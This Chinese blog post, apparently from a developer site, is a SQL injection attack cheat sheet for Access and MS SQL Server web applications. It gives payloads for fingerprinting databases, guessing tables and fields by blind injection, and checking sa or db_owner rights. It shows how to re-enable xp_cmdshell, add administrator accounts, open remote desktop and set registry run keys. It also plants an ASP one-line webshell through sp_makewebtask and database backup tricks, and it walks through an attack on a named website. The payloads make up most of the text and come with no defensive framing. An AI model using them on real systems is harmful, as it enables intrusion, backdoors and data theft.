大型网站攻防


判断数据库类型
1.网站注入点后面加上 and user>0

          如果返回Microsoft OLE DB Provider for SQL Server 错误 '80040e07'   为MS SQL 数据库

          如果返回Microsoft OLE DB pROVIDER FOR  ODBC Driver 错误 '80040e10'  为Access数据库
  方法2.
      
          在注入点提交如下语句
         
          and (select count(*) from sysobjects) >= 0
          and (select count(*) from msysobjects) >= 0

          Access存在系统表[msysobjects],不存在“sysobjects”表  MS SQL Server存在系统表[sysobjects]

2.猜数据库表名

          在注入点后提交以下语句
      
          and exists(select * from 数据库表明)
          或者
          and (select count(*) from 数据库表明) >= 0

3.猜字段名及字段长度

          and exists(select 字段名 from 数据库表名)
          或者
          and (select count(字段名) from 数据库表名) >= 0
  
          and (select top 1 len(字段名) from 数据库表名) > 1

          and (select top 1 len(字段名) from 数据库表名) > 2

          and (select top 1 len(字段名) from 数据库表名) > 3

          and (select top 1 len(字段名) from 数据库表名) > 4

          and (select top 1 len(字段名) from 数据库表名) > n-1

          and (select top 1 len(字段名) from 数据库表名) > n

4.猜字段值        ASCII

         and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > 0

         and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > 1

         and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > n-1

         and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > n
    同理
         and (select top 1 asc(mid(字段名,2,1)) from 数据库表名) > 0

4.注入检测

         order by 检测字段长度
 
         and 0 <> (select count(*) from 表名)   检测表名

         union select 1,2,......n-1,n from 表名


MsSQL 数据库高级注入检测

      1.  判断是否为MsSQL注入点

       and exists (select * from sysobjects)     如果返回正常页面,说明为MsSQL

      2. 判断注入点权限

       and 1=(select IS_SRVROLEMEMBER('sysadmin'))   //判断是否是系统管理员

       and 1=(select is_srvrolemember('db_owner'))   //判断是否是库权限

       and 1=(select is_srvrolemember('public'))     //判断是否为public权限

      第一条语句如果返回正常页面,说明具有sa权限,可以利用扩展存储攻击  如果数据库与web服务器是一个服务器,默认情况下可以
      通过MsSQL自带的存储过程对整个服务器控制,如果页面出错,说明不具备sa权限

      3.MsSQL 返回信息判断

        提交  and @@version>0

              从页面返回的错误信息中,,可以得到数据库的版本信息 。如果页面出错,但未返回可利用的信息,说明MsSQL关闭了错误
              信息提示,在猜解数据库内容时,就不能用暴库方法了,只能用union select联合查询或盲注攻击方法。

       ;declare @id int     //判断MsSQL支持多行语句查询

       and (select count(1) from [sysobjects]) >= 0    //是否支持子查询

       and user > 0     //获取当前数据库用户名

       and db_name > 0     //获取当前数据库名称

       and 1=convert(int,db_name())   //当前数据库名

       and 1=(select @@servername)    //本地服务名

       and 1=(select HAS_DBACCESS('master'))    //判断是否有库读取权限

      4.利用MsSQL扩展存储注入攻击

        检测与恢复扩展存储
 
             提交  and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')

                    可判断xp_cmdshell扩展存储是否存在

                   and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')

                   可查看xp_regread扩展存储过程是否被删除,如果扩展被删除可进行恢复

                   ;exec sp_dropextendedproc 'xp_cmdshell'   然后执行

                   ;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'  该语句是利用系统中默认的"xplog70.dll",文件,自动恢复

xp_cmdshell

                   如果不成功,说明被删除了这个文件,可以上传一个"xplog70.dll"自定义路径恢复

        攻击中最常利用的扩展存储

              1.  xp_cmdshell  -  利用此存储过程可以直接执行系统命令。

              2.  xp_regread   -  利用此存储过程可以进行注册表读取。

              3.  xp_regwrite  -  利用此存储过程可以写入注册表。

              4.  xp_dirtree   -  利用此存储过程可以进行列目录操作。   

              5.  xp_enumdsn  -  利用此存储过程可以进行ODBC连接。

              6.  xp_loginconfig    -   利用此存储过程可以配置服务器安全模式信息。
 
             7.  xp_makecab   -    利用此存储过程可以创建压缩卷

             8.  xp_ntsec_enumdomains  -   利用此存储过程可以查看domain信息。

             9.  xp_terminate_process  -   利用此存储过程可以查看终端进程,给出一个进程pid。
                  
    5.  sa权限下扩展存储过程攻击利用方法

                  EXEC sp_configure'show advanced options',1--
     RECONFIGURE WITH OVERRIDE--
   EXEC sp_configure'xp_cmdshell',1--
    RECONFIGURE WITH OVERRIDE--
    EXEC sp_configure'show advanced options',0--             //打开cmdshell

           1.   xp_cmdshell扩展执行任意命令。

                 ;exec master . . xp_cmdshell 'dir c:\'          //查看c盘目录

                 直接添加管理员账号

                 ;exec master . . xp_cmdshell 'net user test test /add'

                 ;exec master . . xp_cmdshell 'net localgroup administrators test /add'

                 开3389远程连接命令,并修改端口

                 ; exec master . . xp_cmdshell 'sc config termservice start = auto'
                 ; exec master . . xp_cmdshell 'net start termservice'
                 ; exec master . . xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrenControlSet\Control\TerminalServer"
            /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'        //允许外部连接
                 ;exec master . . xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\
            WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD'       //改端口到80
         
           2.  xp_regwrite 操作注册表与开启沙盒模式

                在sa权限下可以调用xp_regwrite写入注册表

                ;xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net

user test test /add'

                 利用xp_regwrite来开启沙盒模式,执行系统命令

                 execmaster . . xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD', 1

                 然后利用jet.oledb执行命令
 
                 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select

shell("net user test test /add")')

                 注意:如果主人点的参数是integer 数字型,就可以指定“ias.mdb”数据库;如果是string字符串则可指定连

接"dnary.mdb".如果是Windows2000系统,
                            数据库的路径应该指定为"x:\winnt\system32\ias\ias.mdb".

           3.  利用sp_makewebtask写入一句话木马

                 exec sp_makewebtask 'c:\inetpub\wwwroot\yjh.asp','select' '%3c

%25%65%78%65%63%75%74%65%72%65%71%75%65%73%74%28%22%76%61%
                 6c%75%65%22%29%25%3E' ' '--
 
                 木马路径c:\inetpub\wwwroot\yjh.asp
               
         6. dbowner权限下的扩展攻击利用

                 当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用sql语句创建一个临时表,插入一句话

木马到临时表中,然后利用数据库备份语句
                 经数据库备份到web目录并保存为asp格式文件,既得到一个一句话后们!

                 1.判断数据库用户权限

                    首先,需要判断当前数据库用户是否为db_owner权限
    
                    在注入点后执行           and 1=(SELECT IS_MEMBER('db_owner'));--

                    如果返回正常说明的确是db_owner权限

                2. 搜索web目录

                    当web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到web目录了,但在备份一句话木马前,首先要

搜索web目录。

                    ;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY

(1,1));--

                    该语句可创建一个临时表,一共四个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便

查询指定内容。

                    ;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--

                    利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是c盘目录路径。再执行

                    and (select dir from temp where id=1)>0

                     该语句是查询临时表中的内容,也就是指定的目录文件和文件夹名,由于不能一次性获取所有目录文件和文件夹名,

因此需要更改ID的值,
                      依次列出文件和文件夹来。通过此方法遍历所有盘符,从而找到web目录路径。

                 3. 写入一句话木马
           
                    找到目录后,写入一句话木马,在注入点后依次执行下面语句,

                   ;alter database news set RECOVERY FULL
                   ;create table test(str image)--
                   ;backup log news to disk='c:\test' with init--
                   ;insert into test(str) values('<%excute(request("cmd"))%>')--
                   ;backup log news to disk='c:\Inetpub\wwwroot\yjh.asp'--
                   ;alter database news set RECOVERY simple

                   执行完毕后,就会在指定的web目录下生成一个名为“yjh.asp”的后门文件,用一句话连接就可以了!              

       
                   

1. MsSQL注入攻击华谊网

        在注入点后面提交    and exists(select * from sysobjects)                      //如果返回正常信息,说明为MsSQL注入点

        在注入点后面提交    and system_user=0                         

        //其中system_user是查询当前数据库的用户名,返回值是字符型,因此在与数字int整形数据进行比较时,会因为类型不匹配而造成数据库报错。从返回
           的错误信息中,可以得知当前系统用户名,,。再爆一下当前用户名,再提交连接!

          在注入点后提交 and user=0     //用户返回dbo。如果返回sa,那么可以直接判断出用户的权限,但是这里只有提交如下连接查询权限,

          and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))          //返回正常页面,可知为sa权限,考虑用扩展存储进行攻击,再来检测一下是否支持多行语句

           提交     %20;declare %20@d%20int

          检测扩展存储

          提交     and 1=(select count(*) FROM master.dbo.sysobjects where name ='xp_cmdshell')        //如果返回正常,说明扩展存储存在

          如果数据库已经开启远程终端服务,允许管理计算机,可以直接通过存储过程执行系统命令,添加管理员账号,然后登陆服务器

         添加用户      ;exec master . . xp_cmdshell 'net user test test /add'

        提升管理员:   ;exec master . . xp_cmdshell 'net localgroup administrators test /add'

         查看命令执行结果
 
         提交    ;drop table black;create TABLE black(result varchar(7996) NULL, ID int NOT NULL IDENTITY(1,1))--

                    ;insert into black exec master . . xp_cmdshell 'ipconfig /all'--
          
                    and (select result from black where id=1)>0--                ip要更换查询               ping命令            24.36上面

                    写入一句话,转化为url格式<%execute(request("a"))%>

2,MsSQL注入猜解数据库技术
  
         1.having与group by 查询爆表名与字段名

           在注入点地址后提交"having 1=1--",从返回的错误信息中既可得到当前表明与第一个字段名。再继续提交以下代码。

           group by 字段名 1  having 1=1--

           从页面返回的错误信息中可以得到第二个字段名,继续提交以下代码,

           group by 字段名1,字段名2 having 1=1--

           返回第三个字段名,继续提交以下代码                     410

           group by 字段名1,字段名2,字段名3,.......字段名n having 1=1--

           直到页面返回正常信息,即可得到所有的字段名

       2.  order by 与数据库类型转换暴库错发

                   爆所有数据库名        
 
                  提交         and db_name()=0--                      //从返回信息中可以获得当前数据库名

                                  and db_name(n)>0--                     //爆出所有的数据库名

                 爆所有表名

                                and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status!=0)=0--

    

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值